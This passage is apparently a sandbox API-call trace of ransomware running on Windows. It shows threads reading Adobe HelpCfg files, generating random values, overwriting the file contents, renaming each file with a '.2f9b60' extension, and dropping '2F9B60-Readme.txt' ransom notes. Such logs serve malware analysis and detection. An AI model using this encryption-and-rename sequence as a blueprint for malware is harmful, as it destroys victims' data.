| out: lpBuffer=0x423aa770*, lpNumberOfBytesWritten=0x30f3f710*=0x118, lpOverlapped=0x0) returned 1 [0206.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0206.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0206.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b10) returned 1 [0206.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262b10 [0206.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629f0 [0206.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0206.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202610a0) returned 1 [0206.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0206.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0206.998] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="c4") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="32") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="43") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="cc") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="5e") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="08") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="51") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="27") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="49") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="db") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.998] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="e5") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="41") returned 2 [0206.998] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="69") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="73") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="73") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="ec") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="de") returned 2 [0206.999] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="fc") returned 2 [0206.999] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.999] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="56") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="20") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="07") returned 2 [0206.999] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.999] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.999] RtlInitAnsiString (in: DestinationString=0x30f3f788, SourceString="c4322c4d439bcc8b5e6d0d0851ea2749db3ad84ad7e54169733a73ecdefca756f8d02007d8ae" | out: DestinationString="c4322c4d439bcc8b5e6d0d0851ea2749db3ad84ad7e54169733a73ecdefca756f8d02007d8ae") [0206.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x30f3f758, SourceString="c4322c4d439bcc8b5e6d0d0851ea2749db3ad84ad7e54169733a73ecdefca756f8d02007d8ae", AllocateDestinationString=1 | out: DestinationString="c4322c4d439bcc8b5e6d0d0851ea2749db3ad84ad7e54169733a73ecdefca756f8d02007d8ae") returned 0x0 [0206.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314f850 [0206.999] wcscat (in: _Dest=0x4314f7a0, _Source="c4322c4d439bcc8b5e6" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6" [0207.000] wcscat (in: _Dest=0x4314f7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6.2f9b60" [0207.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6.2f9b60", NtPathName=0x30f3f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\c4322c4d439bcc8b5e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310beb0 [0209.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310beb0) returned 1 [0209.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309cae0) returned 1 [0209.142] NtQueryInformationFile (in: FileHandle=0x5f8, IoStatusBlock=0x30f3f798, FileInformation=0x30f3f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30f3f798, FileInformation=0x30f3f7a8) returned 0x0 [0209.142] NtSetInformationFile (FileHandle=0x5f8, IoStatusBlock=0x30f3f798, FileInformation=0x30f3f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f7a0) returned 1 [0209.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f850) returned 1 [0209.641] FlushFileBuffers (hFile=0x5f8) returned 1 [0212.753] CloseHandle (hObject=0x5f8) returned 1 [0215.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027a6f0 [0215.695] wcscpy (in: _Dest=0x2027a6f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" [0215.695] wcscat (in: _Dest=0x2027a6f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\2F9B60-Readme.txt" [0215.695] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\2f9b60-readme.txt")) returned 0xffffffff [0215.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1828 [0218.149] WriteFile (in: hFile=0x1828, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x30f3f650, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x30f3f650*=0xba9, lpOverlapped=0x0) returned 1 [0222.494] CloseHandle (hObject=0x1828) returned 1 [0224.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a6f0) returned 1 [0224.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205057d0) returned 1 Thread: id = 2518 os_tid = 0x1fcc [0154.858] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\reader_10.0.helpcfg")) returned 0x20 [0154.858] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x940 [0154.860] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x2f99f660 | out: lpFileSize=0x2f99f660*=349) returned 1 [0154.860] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.860] ReadFile (in: hFile=0x940, lpBuffer=0x2f99f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f99f628, lpOverlapped=0x0 | out: lpBuffer=0x2f99f5e0*, lpNumberOfBytesRead=0x2f99f628*=0x4, lpOverlapped=0x0) returned 1 [0154.861] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda2e0 [0154.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda370 [0154.862] NtQuerySystemTime (in: CurrentTime=0x2f99f520 | out: CurrentTime=0x2f99f520*=132462177600010000) returned 0x0 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x59a89e8d [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0xbdc502a [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x1a2be0ed [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x4b86cfba [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x271fb28c [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x1e7809b5 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x776f570b [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0xde0ad9a [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x7f98fbe7 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x54b3d48b [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x79d07c [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x3772c869 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x5ef1dbeb [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x46cf48b8 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x5590a548 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x37646db4 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x28ea2f16 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x3bea5221 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x2a429ba5 [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x48639c3b [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x4c271d5f [0154.862] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x75f4836b [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x7cec32c7 [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x34b16639 [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x46d2cd8c [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0xaca4958 [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x3b1e9c9c [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x22cc29df [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x5642fdaa [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x2e1459a9 [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0x2ed9b332 [0154.863] RtlRandomEx (in: Seed=0x2f99f510 | out: Seed=0x2f99f510) returned 0xa650290 [0154.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda3a0 [0154.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ca40 [0154.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda3d0 [0154.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ca40) returned 1 [0154.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda370) returned 1 [0154.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2060 [0154.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ca40 [0154.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4287fa20 [0154.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42883630 [0154.874] ReadFile (in: hFile=0x940, lpBuffer=0x4287fa20, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f99f510, lpOverlapped=0x0 | out: lpBuffer=0x4287fa20*, lpNumberOfBytesRead=0x2f99f510*=0x15d, lpOverlapped=0x0) returned 1 [0154.874] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.874] WriteFile (hFile=0x940, lpBuffer=0x42883630, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f99f514, lpOverlapped=0x0) [0186.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec93e0 [0186.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9410 [0186.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9410) returned 1 [0186.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42883630) returned 1 [0186.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4287fa20) returned 1 [0186.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ca40) returned 1 [0186.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2060) returned 1 [0186.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ceb0 [0186.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2060 [0186.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ca40 [0186.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9410 [0186.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9410) returned 1 [0186.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cef0 [0186.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9410 [0186.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9440 [0186.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9440) returned 1 [0186.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ca40) returned 1 [0186.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2060) returned 1 [0186.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x43100720 [0186.376] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.376] WriteFile (in: hFile=0x940, lpBuffer=0x43100720*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f99f630, lpOverlapped=0x0 | out: lpBuffer=0x43100720*, lpNumberOfBytesWritten=0x2f99f630*=0x118, lpOverlapped=0x0) returned 1 [0207.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a880 [0207.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a880) returned 1 [0207.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1a880 [0207.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a850 [0207.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a790 [0207.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a790) returned 1 [0207.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.079] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="fc") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="4d") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="84") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="46") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="de") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="4e") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="70") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="60") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="80") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="50") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="80") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="6a") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="05") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.079] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="03") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="9e") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="44") returned 2 [0207.079] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="55") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="e8") returned 2 [0207.080] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="67") returned 2 [0207.080] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="b0") returned 2 [0207.080] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="74") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="0b") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.080] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.080] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="02") returned 2 [0207.080] RtlInitAnsiString (in: DestinationString=0x2f99f6a8, SourceString="bcfc1b4d841d46de4e70607fd680ff3fa09a50806a05f2039e1d4455e867b02f740b8cb5e602" | out: DestinationString="bcfc1b4d841d46de4e70607fd680ff3fa09a50806a05f2039e1d4455e867b02f740b8cb5e602") [0207.080] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f99f678, SourceString="bcfc1b4d841d46de4e70607fd680ff3fa09a50806a05f2039e1d4455e867b02f740b8cb5e602", AllocateDestinationString=1 | out: DestinationString="bcfc1b4d841d46de4e70607fd680ff3fa09a50806a05f2039e1d4455e867b02f740b8cb5e602") returned 0x0 [0207.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43150400 [0207.080] wcscat (in: _Dest=0x43150350, _Source="bcfc1b4d841d46de4e7" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7" [0207.081] wcscat (in: _Dest=0x43150350, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7.2f9b60" [0207.081] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7.2f9b60", NtPathName=0x2f99f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\bcfc1b4d841d46de4e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c530 [0209.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c530) returned 1 [0209.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c27440) returned 1 [0209.390] NtQueryInformationFile (in: FileHandle=0x940, IoStatusBlock=0x2f99f6b8, FileInformation=0x2f99f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f99f6b8, FileInformation=0x2f99f6c8) returned 0x0 [0209.390] NtSetInformationFile (FileHandle=0x940, IoStatusBlock=0x2f99f6b8, FileInformation=0x2f99f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150350) returned 1 [0216.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150400) returned 1 [0216.266] FlushFileBuffers (hFile=0x940) returned 1 [0216.273] CloseHandle (hObject=0x940) returned 1 [0219.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431caf40 [0219.419] wcscpy (in: _Dest=0x431caf40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\" [0219.419] wcscat (in: _Dest=0x431caf40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\2F9B60-Readme.txt" [0219.419] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\2f9b60-readme.txt")) returned 